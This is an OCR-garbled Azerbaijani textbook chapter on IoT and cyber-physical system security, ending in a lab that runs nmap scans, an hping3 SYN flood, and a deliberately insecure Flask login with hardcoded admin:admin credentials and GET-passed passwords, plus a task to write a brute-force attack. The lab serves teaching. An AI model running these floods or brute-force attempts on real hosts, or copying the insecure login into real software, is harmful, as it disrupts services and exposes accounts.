vasitosilo hoyata kegirilir. IoT miihitindo iso daha yiingiil sifrolomo protokollari,
mosalon, Datagram Transport Layer Security (DTLS) daha ¢ox istifads edilir.

Moéveud Sertifikatlasdirma Morkozlori (CAs) sistemlor {iclin  etibarhi
autentifikasiya tomin edir, lakin morkozlosdirilmis modelo osaslandigindan bozi
tohliikasizlik zoifliklorino malikdir. Cin hékumoti torofindon idaro olunan CA
sistemlori 2016-c1 ildo etibarsiz sertifikatlarla olagodar ciddi problemlorlo
tizlosmisdi. Buna goéro PGP kimi aciq acar infrastrukturuna osaslanan paylanmis
identifikasiya sistemlori daha etibarli hesab olunur.

Auth kimi yeni paylanmis autentifikasiya arxitekturalar1 istifadoci
identifikasiyasini daha tohliikosiz etmok {i¢iin toklif olunmusdur. Bu yanasmalar IoT
cihazlarinin fordi autentifikasiya metodlari ila birlikds istifads edils bilor.

3. Toatbiq saviyyasi
[oT-nin heterodin tobioti miixtolif totbiglor ii¢iin forqli giris nozarot
mexanizmlorinin totbiq olunmasini zoruri edir. Movcud totbiq soviyyasindoki H2M

autentifikasiya sxemlori osason iki faktorlu autentifikasiya tizorindo qurulub, M2M
autentifikasiya iso osasan SSL protokolu ilo hoyata kegirilir. Umumi totbiq
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soviyyasindo autentifikasiya sxemlorinin effektivliyi hor bir IoT totbigi {igiin
qiymatlondirilir, ¢iinki imumi bir hall yolu tatbiq etmak miimkiin deyil.

o Agilh kommunal xidmatlor — Agilh sobakalor vo agilh saygaclar

Miivafiq texnologiyalardan istifade edilmadikds, tocaviizkarlar agilli saygac
interfeyslorini sindiraraq, fordi evlords vo sanaye miiassisalorinda enerji istehlakina
miidaxilo edo bilor. Icazo oldo edildikdon sonra tocaviizkarlar yerli enerji
paylayicisindan enerji ogurlayib enerji sistemindos yliklonmoya sobaob ola bilor. Agilh
sobokolora giris yalniz yerli operatorlara verilo bilor vo onlarin icazasiz girisini
qarsisimt  almaq licin @ mioyyon  tohliikesizlik  todbirlori  goriilmolidir.
Agill saygaclara daxil olmaq iigiin istifadoci adi, parol vo ya RFID osasinda iki
faktorlu autentifikasiya sxemi totbiq edilo bilor. Bundan slava, biometriya metodlari
da istifado edilo bilor. Osas nozarat hiiquglar1 operatora verildiyi iigiin icazo sxemi
do totbiq edilo bilor. Burada miqyaslanma problemi olmadigindan RBAC sxemindon
istifado edilo bilor. Operator vo monitorinqg morkozi arasinda malumat miibadilosi
lclin agilli soboko autentifikasiyasi hoyata kecirilir. TLS kimi tohliikosizlik
protokollart molumat miibadilasindo istifads edilo bilor.

o Istehlakei geyilo bilon IoT cihazlar1 — Sahiyys vo Telemedisina

Telemedisina sistemlorindo molumat paylasimi  osason hokimlor vo
pasiyentlor arasinda aparilir. Burada autentifikasiya protokollar1 homiso yiiksok
tohliikasizliyo malik olmalidir. M2M autentifikasiya protokollar1 pasiyentin geyilo
bilon cihazlar1 vo serverlor arasinda molumat 6tiiriilmosini tomin edir. Pasiyentin
molumatlarina giris {li¢lin ili¢ faktorlu autentifikasiya sxemi totbiq edilo bilor: PC
vasitosilo girig, biometrik autentifikasiya vo serverlo molumat miibadilosi {i¢iin
sifrolonmis kanallar. Bulud xidmotlorindoki molumatlarin tohliikasizliyi vacib
oldugu ficlin blockchain texnologiyast molumatlari qorumaq iigiin istifado edilo
bilor. Identity-based encryption (IBE) sxemi iso etibarli autentifikasiya protokolu
kimi totbiq edilo bilor.

o Agilh naqliyyat va logistika

Mobil cihazlarin genis yayilmasi ilo agilli nogliyyat sistemlorindo rabito
kecidlori ¢ox siiratli doyisa bilor. Horokot halinda bu kegidlor yiingiil autentifikasiya
metodlarini tolob eds bilor. Har bir avtomobils sassi ndmrasi, qeydiyyat ndmrasi vo
istehsal¢t molumati kimi molumatlar daxil ola bilor. Lakin acarlar IBE vo ya
Attribute-based encryption (ABE) yiingiil ¢oki autentifikasiya sxemlori ilo qoruna
bilor.

Bundan olavo, noqliyyat vasitolorindo rabito tohliikasizliyini tomin etmok
tictin SDN vo Blockchain texnologiyalarinin totbiqi tovsiys olunur.
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o Agilh kand tasarriifati

Kond tosarriifatinda istifado edilon IoT cihazlar1 adoton zaif tohliikesizlik
tadbirlorine malik olur vo bu cihazlara xarici miidaxilo riski yiiksokdir. Burada
qarsilighh autentifikasiya sxemi totbiq edilmolidir. Bunun igiin BAN asash
autentifikasiya sxemi toklif edilir vo AVISPA kimi modellor ilo sinagdan
kecirilmigdir. ©On zaif qovsaq hiicumlarina qarsi acar miibadilo mexanizmi ilo
qorunma tadbirlari goriils bilar.

o Agilh binalar, satraf Miihit va agilli soharlor

Agilli saharlardas giris nozaratini tomin etmak {iciin forqli metodlardan istifads
edilir. Sobaka soviyyasi bulud texnologiyalar1 vo digar giris noqtslori ilo birlikde
isloyir. Mobil cihazlarda ti¢ faktorlu autentifikasiya sxemlori SSL vo DTLS ilo tomin
edilo bilor. Bulud xidmotlori iso sifrolonmis acarlarla autentifikasiya edilo bilor.
Agilli sohorlordo autentifikasiya protokollar1 totbigin toloblorine uygun doyise bilor,
clinki burada forqli alt totbiqlor mévcuddur.

2.4. Kiber-Fiziki Sistemlar (CPS)

Miiasir sistemlor inteqrasiya olunmus kiber sistemlorlo (mosalon, emal vo
kommunikasiya) vo fiziki elementlorlo (masolon, platformanin qurulusu, askarlama,
aktivlosdirmo vo miihit) giiclii olagoyo malikdir. Bu sistemlor "fiziki vo kompiiter
komponentlarinin sinerjisino asaslanan texniki sistemlor' kimi torif edilir.

Bu sistemlor miixtolif komponentlorin qarsiligh olagodo oldugu, miistoqil
isloyo bilon vo fiziki diinya ilo sensorlar vasitosilo aydin sokildo olago quran
sistemlordon ibarotdir. Masolon, kommersiya toyyarasi vo ya pilotsuz avtomobil
minlorlo daxili va xarici sensor vo aktuatorlara malikdir ki, bu da daha somaorali vo
etibarli xidmatlor toqdim etmoyo imkan yaradir. Istehsalgilar bu sensorlar vasitosilo
artiq boyiik hocmdo molumat toplayaraq real vaxt rejimindo omoliyyatlar hoyata
keciro, aparat, proqram tominati vo kommunikasiya xotalarin1 doqiq miioyyan edo
bilorlor. Eyni zamanda, yeni kommunikasiya standartlar1 bu sensorlar vo aktuatorlar
arasindaki rabitonin miixtolif totbiq ssenarilori tigiin effektiv sokildo tomin
edilmasine imkan yaradir.

CPS-lor kritik molumatlar saxlayir, todqiqat foaliyyetlorini dostokloyir vo
hoyat keyfiyyotini artirir. Bu sistemlor agilli infrastruktur formalasdiraraq kompiiter
komponentlori ilo fiziki foaliyyatlorin effektiv qarsiligh slagosini tomin edir. CPS,
kibermokan vo fiziki saholori bir araya gotiron bir korpili rolunu oynayir vo bir ¢cox
sahoalords ovazolunmaz rol oynayir (Sokil 2.2).

CPS-lor, real vo virtual diinyalarin birlogsmosi noticosindo avtonom vo
konteksto bagli davranislar niimayis etdiron sistemlordir. Bu sistemlor digor CPS-
lorlo inteqrasiya oluna bilor. Bu maqsadlo, CPS-lordo daxili program tominati
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sensorlardan vo aktuatorlardan istifado edorak insan operatorlari ilo alaqs qurur vo
sensorlar va ya sabakolordon moalumatlart saxlayib emal eda bilir.
CPS-lorin asas xiisusiyyotlori:
o Yiksok soviyyado fiziki vo kiber inteqrasiya
o Hor fiziki komponentds emal qabiliyyati (lakin mehdud kommunikasiya
resurslari)
o Simli vo ya simsiz sobokolor, Bluetooth, GSM, GPS vasitosilo yiiksok
soaviyyada olagolondirmo
o Miixtalif zaman vo mokan miqyaslarina uygunlagsma
o Dinamik yenidonqurma va reorqanizasiya imkani
o Bagli dongalords yiiksok avtomatlagdirma
o Bozi hallarda sertifikatlasdirilmig etibarliliq
Kiber-fiziki sistemlor (CPS) proqramlasdirila bilon komponentlori fiziki
proseslorin idaro olunmasi iigiin birlosdirir. Hazirda CPS-lor enerji, aerokosmik,
avtomobil vo kimya sonayesi kimi miixtalif saholordo genis istifads olunur. CPS-lor
arasinda on genis yayilmis sistemlordon birt SCADA (Supervisory Control and
Data Acquisition) sistemloridir. SCADA sistemlori kritik sonaye obyektlorinin
idara edilmasi vo nozarati liglin nozardo tutulub.

goseesss

Sensor
Probing Attacks, Spoofing
attacks

Communication Jamming,
Probing Attacks

Cyber-Physical
Connections

@ Cyber-Physical

0 Physical

9 Cyber Domain
Cyber-Physical

* Threats

Sakil 2.2. Kiber-Fiziki Sistem (CPS) arxitekturast
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SCADA sistemlorindo yaranan nasazliglar obyekto vo onun otraf miihitino
ciddi tosir eds bilor. Bu sistemlor avvalca izolyasiya olunmus formada isloyirdi vo
xiisusi komponentlor va standartlar tizorindos qurulmusdu. Lakin, sonaye prosesloring
nozaroti asanlagdirmaq vo xorclori azaltmaq moagsadilo bu sistemlar informasiya vo
kommunikasiya texnologiyalar1 (IKT) ilo daha gox inteqrasiya olunmaga baslayib.
Bu iso onlar1 daha miirokkob vo kiberhiicumlara qarsi daha hossas edir. Belo
hiicumlar mdvcud IKT sistemlorindoki bosluglari istismar edo bilor vo naticado
sistemin foaliyyotino vo tohliikosizliyino monfi tosir gostora bilor. Tohliikosizlik
mosalolori  burada prognozlasdirila bilmoyon sistem risklori  vo  zororli
kiberhiicumlarla olagolondirilir.

2.5. IoT-d»> Hiicumlar va Tohliikalor

[oT texnologiyasinin inkisafi ilo getdikco daha cox cihaz interneto qosulur.
Hor giin bu cihazlar miixtolif hiicumlarin hodofino ¢evrilir. IoT sistemlorinin
tohliikasizlik problemlorinin holli iiglin dérdqath arxitektura osasinda hiicumlar
analiz edilmolidir. [oT sistemlorino edilon hiicumlar iki asas kateqoriyaya boliiniir:
o Aktiv hiicumlar: Hiicum edon soxs molumatlar1 doyisdirmoyo vo ya
molumatlarin 6tiiriilmasine miidaxile etmays calisir.
o Passiv hiicumlar: Hiicum edon soxs molumatlari olo kegirmoyo vo ya istifado
etmoyo cohd gostorir.
Hiicumgular miixtoalif isullardan istifado eda bilarlor, mosalon:
o Sobokonin bloklanmasi (Network Jamming) — Cihazlar arasinda signal
otiirtilmoasinin garsisini almaq {i¢iin signallarin miidaxilosi.
o Mesajlarin dinlonilmosi (Message Sniffing) — IoT cihazlar1 arasinda
gondorilon mesajlarin ogurlanmasi.
o Cihazlarin kompromet edilmasi (Device Compromising) — IoT cihazlarmin
zararli programlarla yoluxdurularaq idare edilmosinin olo kegirilmasi.
Asagida miixtolif IoT hiicum ndvlori vo onlarin osas tosirlorini imumilosdiririk.

2.5.1. IoT fiziki qatinda tahliikasizlik problemlari

Bu qat 10T cihazlarinin real diinyada yerlosdiyi soviyys olub, onlarin enerji
resurslari vo fiziki tohliikosizlik mexanizmloari {i¢lin yeni problemlor yaradir.

o Fiziki zadalonma (Physical Damage): Sensorlar, diiylinlor vo aktuatorlar
bilorokdon zadslona bilar ki, bu da onlarin islomasini dayandirir.

o Miihits qars1 hiicumlar (Environmental Attacks): Hava, istilik vo digor
miihit faktorlar1 [oT cihazlarina zaror vers biloar.

« Enerji itkisi (Loss of Power): Cihazlarin enerji manbayi tiikondikdo islomoz
hala golir vo xidmotdon imtina hiicumlarina (DoS) sobab ola bilor.
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Fiziki miidaxilo (Physical Tampering): PLC-lor (Programmable Logic
Controllers) vo digor avtomatlasdirilmis idaroetma cihazlari qorunmadiqda
hakerlar torafindan alo kegirila bilor.

Routing Attacks: Hello
fiood, Wormhole,
blackhole,...

Cyber Space B Controfler

Cyber-Physical System

Sakil 2.3. IoT-CPS-d> marsrutlama hiicumlart

2.5.2. IoT sobaks qatinda tohliikasizlik problemlari

Soboko qati IoT cihazlarimi bir-biri ilo olagolondiron osas infrastruktur

hissosidir vo buradaki hiicumlar ciddi fosadlar yarada bilor.

Secici yonlondirma hiicumu (Selective Forwarding Attack): Hiicumgu bozi
molumat paketlorini bloklayib digorlorini otiirtir.

Hello flood hiicumu (Hello Flood Attacks): Hiicumg¢u sobokodo spam "hello"
mesajlar1 gondorarak rabitoni pozur.

Sinkhole hiicumu (Sinkhole Attack): Hiicumcu trafiki 6z {izorino ¢okir va
molumat axinini idaro etmoyo baglayir.

Qara dalik hiicumu (Blackhole Attack): Hiicumcu biitiin golon paketlori silir,
sobokonin foaliyyatini pozur.

Qurd doaliyi hiicumu (Wormhole Attack): Hiicumgu soboks i¢inda tunellor
yaradir, marsrutlagsdirmani doyisdirir.

DoS hiicumu (Denial of Service — DoS Attack): Soboko diiyiinlorinin
resurslarini tiikondirorok onlar1 islomoz hala gatirir.

Yaddas hiicumlan (Storage Attacks): Saxlanmis molumatlar1 doyisdirmok
vo ya ogurlamaq mogsadi ilo hoyata kegirilir.
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2.5.3. IoT qavrama qatinda tohliikasizlik problemlori

Bu qgat asason sensorlar vo digor molumat toplayan cihazlar1 ohato edir.

Hiicumcular ti¢iin asas hodaflardan biridir.

Mbolumat dinlonilmasi (Eavesdropping): IoT cihazlarinin sensorlarindan
molumat ogurlanmasi.

Sniffing hiicumlar1 (Sniffing Attacks): Hiicumg¢u sensor yaxinliginda
molumat ogurlayan snifferlor yerlosdirir.

Mbolumat sas-kiiyii (Noise in Data): Uzun mosafoli malumat 6tiirmo zamani
sohv vo yanlis moalumatlar yaranir.

2.5.4. IoT tatbiq gatinda tahliikasizlik problemlori

Bu qat [oT cihazlarinin asas xidmatlorini hayata kecgiron proqram tominatini

ohata edir vo hiicumlara qars1 hassasdir.

Mbolumat autentifikasiyas1 (Data Authentication): [oT sistemlorindo
molumatlarin orijinalligin1 va biitovliiyiinii qorumaq tigiin autentifikasiya
tolob olunur.

Zarorli kod hiicumlar1 (Malicious Code Attacks): Zororli proqram
tominatlar1 [oT cihazlarina yoluxdurularaq onlarin idaraetmasi alo kecirila
bilor.

Diiyiin asash totbiqloro miidaxilo (Tampering with Node-Based
Applications): Hakerlor IoT cihazlarina rootkitlar va zararli proqramlar
yiikloyo bilor.

2.5.5. 10T hiicumlarindan miidafis iisullari

[oT sistemlorinin tohliikosizliyini artirmaq {i¢iin asagidaki tsullar istifado

olunmalidir:

l.

2.

Kriptoqrafik sifraoloma: AES, RSA vo ECC kimi miasir Kriptoloji
algoritmlar IoT molumatlarini qorumagq iigiin istifadoe olunmalidir.
Coxfaktorlu autentifikasiya: [oT cihazlarina giris {iclin biometrik
autentifikasiya, SMS kodlar1 va tohliikasizlik agarlar tolob olunmalidir.

. Saboka tahliikasizliyi protokollari: 10T cihazlar arasinda tohliikosiz rabitoni

tomin etmok ticiin TLS/SSL va VPN texnologiyalarindan istifado edilmalidir.
Daimi monitorinq va tohliikasizlik auditlori: IoT sobokolorinin faaliyyatini
izlomak vo miitoamadi olaraq auditlor ke¢irmok vacibdir.

. Blok¢eyn vo paylanmis sobaka tohliikasizliyi: Blok¢eyn texnologiyasi IoT

cihazlarinin autentifikasiyasi vo malumat tahliikasizliyi tigiin effektiv hollor
toklif eds bilor.
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6. Al asash tahliikasizlik sistemlari: Siini intellekt (AI) vo masin dyronmo
texnologiyalart 10T hiicumlarim real vaxtda askar etmoak va qarsisimi
almaq tuciin istifado edild bilar.

[oT sistemlarinin tohliikasizliyini tomin etmak ti¢iin miixtalif hiicum novlarini
vo onlarin tasirlorini anlamaq vacibdir. IoT hiicumlarinin genis spektri vo
miirokkabliyi tohliikasizlik tadbirlorinin daim yenilonmaosini tolob edir. Miiasir
kriptoloji alqoritmlor, ¢oxsoviyyali autentifikasiya vo siini intellekt asasli hiicum
askarlama sistemlori IoT tohliikasizliyini artirmaq tigiin asas hall yollaridir.

2.6. Praktiki Hissa va Tapsinglar

2.6.1. IoT Tohliikalorinin Tosnifati1 vo Hiicum Ssenarilorinin Simulyasiyasi

Mogqsad

Bu praktiki isin mogsadi tolobays IoT sistemlorinde tez-tez rast golinon
tohliikasizlik zoifliklorini agkar etmok, onlarin real simulyasiyasini hoyata kegirmok
vo naticalori tohlil etma bacarig qazandirmaqdir. Tocriibado hom soboko soviyyali
(nmap, SYN flood), hom do totbiq soviyyali (zaif login vo replay) hiicumlar hoyata
kegirilir.

Talablar:

o Ubuntu/Linux miihiti (Jetson Nano vo ya VM)

o Qurasdirilacaq alotlor:
o sudo apt install python3-flask nmap hping3 wireshark
curl -y

v' Addim 1 — Real HTTP server qurmagq va nmap ilo tapmagq
Tocrliboyo bagslamazdan ovvol lazim olan proqgram paketlori sistemo
qurasdirilmalidir. Sads http serveri daha sonra basladiriq (http_server.py):

# http_server.py
from flask import Flask
app = Flask(__name_ )
@app.route('/")
def index():
return "IoT Service is running"

app.run(host='0.0.0.0', port=5000)

Bu addim tamamlandigdan sonra tolob olunan miihit hazir olur. Serverin IP-
ni 6yrondikdon sonra nmap scan edilir:
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e nmap -sS -0 192.168.X.X -p- > scan_result.txt
e cat scan_result.txt | grep open

Noatica olaraq agiq portlar goriiniir vo bunun vasitasi ilo sistemds hansi xidmatlorin
aktiv oldugu toyin edilir.

class@class-VirtualBox:~$ cat scan.txt | grep open
22/tcp open ssh

5000/tcp open upnp

class@class-VirtualBox:~$ D

M~ class@class-VirtualBox: ~ Q = - X
class@class-VirtualBox:~$ sudo nmap -sS -0 192.168.100.41 -p-

>scan. txt
class@class-VirtualBox:~$ I

Sakil 2.4. Serverin nmap ilo scan olunmasi va agiq portlarin tapilmasi
v" Addim 2 — DoS Hiicumu (SYN flood) vo Hiicum Trafikinin Tahlili

Bu addimda tolobo, IoT sistemlorino garst on c¢ox istifado olunan xidmot
dayandirma hiicumlarindan biri olan SYN flood ssenarisini praktiki olaraq hoyata
keciracok. Hiicum TCP soviyyasindo bas verir vo onun asas moaqsadi, hodof cihazin
olago gozlomo qabiliyyotini (connection queue) slini sokildo dolduraraq sistemi
resurs baximindan iflic etmokdir. TCP olagosi qurularkon, olagonin qurulmasi
tictorofli ol sixma (three-way handshake) prosesi ilo bas verir:

SYN — SYN-ACK — ACK

SYN flood hiicumunda iss bu prosesin 3-cii marhalosi — ACK cavabi heg vaxt
gondorilmir. Bunun noticosindo server c¢oxsayli yarimgiq olagolori yaddasda
saxlamal1 olur, bu iso asagidaki fosadlara gotirib ¢ixarir:

e Sistem cavab vermomoys baslayir.
e RAM vo CPU istifadssi kaskin artir.
e Digor qanuni istifadogilordon golon alaqo sorgular1 bloklanir.

Asagidaki komanda ilo hadofo SYN flood hiicumu basladilir:
e sudo hping3 -S --flood -p 5000 <hsdefin IP-si>

Bu komanda 5000 portuna ardicil SYN bayragi ilo paketlor gondorir. Hodof
cihazin TCP stack-i bu baglantilar1 a¢iq saxlayir vo bunun naticasindo slago say1
dolur.
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class@class-VirtualBox:~$ top
top - 19:16:11 up 27 min, 1 user, 1load average: 0,61, 0,29, 0
Tasks: 220 total, 2 running, 218 sleeping, 0 stopped, 0 z
%Cpu(s): 9,2 us, 19,2 sy, 0,0 ni, 47,8 id, 0,0 wa, 0,0 hi,
MiB Mem : 7942,1 total, 5267,5 free, 1295,2 used, 1685,
MiB Swap: 2048,0 total, 2048,0 free, 0,0 used. 6646,
PID USER PR NI VIRT RES SHR S %CPU %MEM
5268 root 20 © 12648 6400 6016 R 96,3 0,1
16 root 20 0 0 0 0S 2,7 0,0
2260 class 20 0 3907984 257568 136220 S 2,7 3,2
17 root 20 0 0 0 01I 1,6 0,0
24 root 20 0O 0 0 0S 1,06 0,0
3069 class 20 0 710972 64792 50260 S 0,7 0,8
5241 class 20 O 17288 6144 3968 R 06,3 0,1
1 root 20 0 23120 14184 9448 S 0,0 0,2
2 root 20 0 0 0 0S 0,0 0,0
3 root 20 0O 0 0 0 S 0,0 0,0
4 root 0 -20 0 0 01I 0,0 0,0
5 root 0 -20 0 0 01I 0,0 0,0
6 root 0 -20 0 0 0 I 0,0 0,0
7 root 0 -20 0 0 01I 0,0 0,0
8 root 20 0O 0 0 0 I 0,0 0,0

class@class-VirtualBox: ~ = - =]

class@class-VirtualBox:~$ sudo hping3 -S --flood -p 80 192.168
.100.41 &

[1] 5266

class@class-VirtualBox:~$ HPING 192.168.100.41 (enp0s3 192.168
.100.41): S set, 40 headers + 0 data bytes

hping in flood mode, no replies will be shown

Sakil 2.5. Top komandast ilo SYN slood hiicumunun miisahidasi
Miisahidos olunan naticalor:

o python3 http_server.py prosesi 90%+ CPU istifads etmoys baslayir.

« RAM istifadosi sabit olsa da, ylik altinda reaksiya miiddoti uzanur.

e Yeni HTTP sorgularina cavab 2-3 saniyalik gecikmolorlo verilir vo ya timeout
ilo basa ¢atir.

Eyni zamanda Wireshark totbiqi ilo asagidaki filtr vasitasilo hiicum trafikinin
paket soviyyasindo izah1 aparilir:

¢ ip.dst == <server_ip>
Miisahids olunan niimunavi SYN flood trafikindo:

o TCP paketlori yalmz SYN flaqu ilo golir.

« Paketlorin intervali cox sixdir (mili/mikrosaniya ilo).

o Serverin cavablari SYN-ACK olsa da, ACK golmadiyi {igiin olaqgo
tamamlanmuir.

Wireshark-da Statistics > Conversations > TCP bolmosinds bu yarimgiq olagoalorin
say1 aydin goriiniir. Hotta bazi [P-lordon 1000+ agiq SYN baglantis1 geydo alinir.
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class@class-VirtualBox: ~

class@class-VirtualBox:~$ sudo wireshark &

[2] 5322

class@class-VirtualBox:~$ ** (wireshark:5324) 19:18:50.551784
[GUI WARNING] -- QStandardPaths: XDG RUNTIME DIR not set, def

aulting to '/tmp/runtime-root'

File Edit View

A Statistics 0 ols Hi
AO A ® 3 o
M tcp.streameq 0 e - @

No. Time Destination ocol Length Info
3 0.048683628 192.168.160.41 185.125.190.98 74 54230 — 80 [SYN] Seq=0 Win=64240 |
4 0.139766325 185.125.190.98 192.168.100.41 74 80 - 54230 [SYN, ACK] Seq=0 Ack=1
5 0.139802096 192.168.100.41 185.125.190.98 66 54230 . 80 [ACK] Seq=1 Ack=1 Win=
6 0.140143423 192.168.100.41 185.125.190.98 154 GET / HTTP/1.1
7 0.230357401 185.125.190.98 192.168.100.41 251 HTTP/1.1 204 No Content
8 0.230357602 185.125.190.98 192.168.100.41
9 0.230463057 192.168.100.41 185.125.190.98 66 54230 — 8@ [ACK] Seq=89 Ack=186 W:
10 0.230716827 192.168.100.41 185.125.190.98 66 54230 — 80 [FIN, ACK] Seq=89 Ack=:
11 0.319726721 185.125.190.98 192.168.100.41 66 80 — 54230 [ACK] Seq=187 Ack=98 W:

® E  wireshark_enp0s3RXPGS52.pcapng acket: % Profile: Default

=1 class@class-VirtualBox: ~ © = - @

class@class-VirtualBox:~$ sudo hping3 -S --flood -p 80 192.168.
100.41

[sudo] password for class:

HPING 192.168.100.41 (enp0s3 192.168.100.41): S set, 40 headers
+ 0 data bytes

hping in flood mode, no replies will be shown

Sakil 2.5. Wiresharkda SYN paketlorin miisahidasi

Texniki Toahlil va Zsiflik Diagnozu:
Bu hiicum ssenarisi asagidaki osas anlayislar1 izah edir:

o TCP protokolunun necs islodiyini vo onun zaif istismar néqtolorini.

 Sistem resurslarinin neco overload oldugunu vo bu overload-un slaqa sayinin
mohdud olmamasindan qaynaqglandigini.

« Ogor sistem SYN cookie mexanizmi vo rate limit totbiq etmirso, bu onu real
diinyada a¢i1q hadofs gevirir.

o 10T cihazlarin ¢coxu resurs baximindan zsifdir, bu sabobdon bu tip hiicumlar
ilo istanilon vaxt slcatanhgi (Availability) pozmaq miimkiindiir.

v' Addim 3 — Zoif Autentifikasiya Sistemi vo Tatbiq Saviyysli Hiicumlarin
Simulyasiyasi

Bu morhalods moagsad, [oT sistemlorinds genis yayilmis zaifliklordon biri olan
zoif identifikasiya vo autentifikasiya mexanizmlorini praktiki sinagdan kegirmokdir.
Oksor ucuz [oT cihazlar1 vo ya totbiq prototiplori asagidaki ciddi bosluglarla ¢ixis
edir:
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Sads vo doyismoyon default istifadoagi adi vo sifro (mos: admin:admin)
Sifralorin GET metodu ilo URL iizorindon o6tiirtilmosi

Tohliikosiz oOtiirtilmonin (TLS/SSL) olmamasi

Sessiya, token va ya rate-limiting mexanizmlarinin yoxlugu

Bu bosluglari tomsil edon mini HTTP API server qurulacaq va bu zaifliklor
hom praktik, ham nazari tohlil edilacak..

¢ from flask import Flask, request

e app = Flask( name )

« VALID USERS = {"admin": "admin", "iot": "1234"}

e (@app.route('/login', methods=['GET', 'POST'])
¢ def login():

. if request.method == 'GET':

. username = request.args.get("username")

. password = request.args.get("password")

) else:

. data = request.get json(force=True)

D username = data.get ("username")

. password = data.get("password")

[ ]

. if username in VALID USERS and VALID USERS[username] ==
password:

D return {"status": "ok", "user": username}, 200

D return {"status": "unauthorized"}, 401

¢ app.run(host="0.0.0.0", port=5555)

A) GET ila credential gondormok:

e curl
"http://127.0.0.1:5555/1login?username=admin&password=admin"

B) POST ilo JSON sorgu:

e curl -X POST -H T'"Content-Type: application/json" -d
'{"username" :"iot", "password":"1234"}"'
http://127.0.0.1:5555/10ogin

C) Wireshark-da miisahido:
e ip.addr == 127.0.0.1 and tcp.port == 5555

Bu login sistemindo asagidaki ciddi zoaifliklor var:
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= Hardcoded credential - Sistem admin:admin vo 10t:1234 login-lorini
doyigsmadon saxlayir.

= GET ild sifra otiiriilmasi - URL-lords otiiriilon sifro Wireshark, log fayllari,
proxy vasitasile agkar edils bilor.

= No TLS/SSL - HTTP ilo otiiriilon molumatlar sifrolonmir.

* No session/token - Molumati gondoran istifadoci ndvbati sorgularda taninmur.

= No rate limiting - Hiicumcu brute-force ilo istonilon sayda giris cohdi edo

bilor.

Address already in use
Port 5000 is in use by another program. Either identify and st
op that program, or start the server with a different port
class@class-VirtualBox:~$ python3 vul.py

* Serving Flask app 'vul'

* Debug mode: off
WARNING: This is a development server. Do not use it in a prod
uction deployment. Use a production WSGI server instead.

* Running on all addresses (0.0.0.0)

* Running on http://127.0.0.1:5555

* Running on http://192.168.100.41:5555
Press CTRL+C to quit
127.0.0.1 - - [19/Apr/2025 19:29:42] "POST /login HTTP/1.1" 20
0 -

class@class-VirtualBox: ~ all [=
class@class-VirtualBox:~$ curl -X POST -H "Content-Type: applic
ation/json" -d ‘{"username":"iot",b "password":"1234"}' http://12
7.0.0.1:5555/1ogin
{"status’:*ok®, "user®: "iot"}
class@class-VirtualBox:~$
$akil 2.6. POST ilo JSON sorgu
v" Natica

Bu praktiki hisso, IoT tohliikosizlik sahosindo real tohliiko ssenarilorinin
soboko vo totbiq soviyyesindo neco bas verdiyini vo onlarin hansi texniki
zaifliklordon qaynaglandigini sistemli sokildo niimayis etdirir. Iki osas istiqamot iizro
— saboka soviyysli DoS hiicumlar vo totbiq soviyyali autentifikasiya bosluglart —
eksperimentlor aparilmis, bu zoifliklorin miisahidosi vo tohlili ii¢lin miivafiq
alotlordan istifado olunmusdur.

Saboka saviyyali zoifliklorin analizi:

« SYN flood hiicumu vasitosilo TCP protokolunun slage qurma morhalasinin
neco manipulyasiya edilo bildiyi goOstorilmisdir. Bu hiicumda yarimgiq
olagalarin siiratlo y1gi1lmasi naticosinds sistemin resurslari tiikonmis vo cavab
verma qabiliyyati zaiflomoya baslamisdir.

« top alotindon istifado olunmaqla CPU voa RAM istifadasindo kaskin artim
miusahido edilmisdir.
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Wireshark ilo aparilan tohlildo, c¢oxsayli ardicil SYN bayraqli TCP
paketlorinin servera catdigi, lakin ACK cavablariin verilmadiyi miisahide
olunmusdur.

Bu vaziyyat, Resource Exhaustion kimi taninan zaifliyi 6n plana ¢ixarir vo
real diinyada kiberhiicum naticasinda cihazlarin funksionalliginin neco pozula
bilacayini praktiki sokilds izah edir.

Tatbiq soviyyali autentifikasiya zaifliklori:

Flask framework-ii ilo hazirlanan sado HTTP server niimunasindo default va
dayismayan istifadaci adlari va sifralor (mos: admin:admin) istifado edilmis,
bu da real sistemlorde tez-tez rast golinon zoiflik niimunasi kimi toqdim
olunmusdur.

GET metodu ilo sifralorin URL iizorindon o6tiiriilmosi naticasinds, homin
molumatlarin hom Wireshark, hom do sistem loglar vasitosilo asanligla olo
kecirilo bilacayi gostarilmisdir.

POST metodu ilo JSON formatinda otiiriilon moalumatlar da sifrolonmodiyi
togdirdo tohliiko dogurdugu izah edilmisdir.

Molumatlarin TLS ilo gorunmamasi vo rate-limiting, session, token kimi
dlava qoruma mexanizmlorinin t3tbiq olunmamasi, sistemin replay
hiicumlar1 vo brute-force ssenarilori qarsisinda zaifliyini gostormisdir.

Bu laboratoriya isindo yer alan ssenarilor, IoT sistemlorinin hom

infrastruktur, ham daJ tatbiq soviyyasinda neca zaifliklor gostora bilocayini vo bu
zaifliklorin real hiicumlarla neca test edilo bilacayini oyani sokildo gostorir.
Tocrlibo zamani istifado olunan vasitolor — nmap, hping3, curl, Wireshark, top vo
Python osasli mini server skriptlori — zaifliklorin askarlanmasi vo analizinds istifado
ticlin olverisli vo praktik tisullar toqdim edir.

Eyni zamanda, bu laboratoriya real diinya kontekstindo asagidaki osas

tohliikasizlik prinsiplorinin pozulmasinin naticolorini vurgulayir:

Istifadaci dogrulamasinmin zaif dizaym

Mbolumatlarin sifralonmoadan otiiriilmasi

Sabaka resurslarinin sui-istifads ils iflic edilmosi

Hiicumlarin askar olunmasi iiciin monitorinq vd analiz iisullarinin
dhomiyyati
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v' Tapsiriqlar

e auth server.py faylinda olan zsifliklori OWASP IoT Top 10 vo OWASP API Top
10 ilo alagalondirin.

e GET sorgusunu Wireshark ils tutun, Follow TCP Stream ilo credential-lar1 goriin.

e Brute-force hiicumu yazin vo admin hesabina qarsi test edin.

e HTTPS, JWT, session, salt ilo sistemin daha tohliikasiz versiyasini toklif edin.

e POST metodu ilo sifra Stiirtilmasinin tohliikasini yazili sokilds analiz edin.

e curl ilo zoif autentifikasiya ssenarilori qurun.

e Wireshark-da JSON vo Content-Type saholorini miisahido edin vo izah verin.

e Session vo token olavo edin va sistemin davranigint miiqayiss edin.

e SYN hiicumu zaman1 top ilo CPU vo RAM istifadasini qeyd edin.

e ip.addr va tcp.port filterlori ilo SYN paketlorini izloyin.

e Statistics > TCP Conversations ils yarimg¢iq alage sayini hesablayin.

DoS hiicumu zamani http server.py performansini 6lgiin.
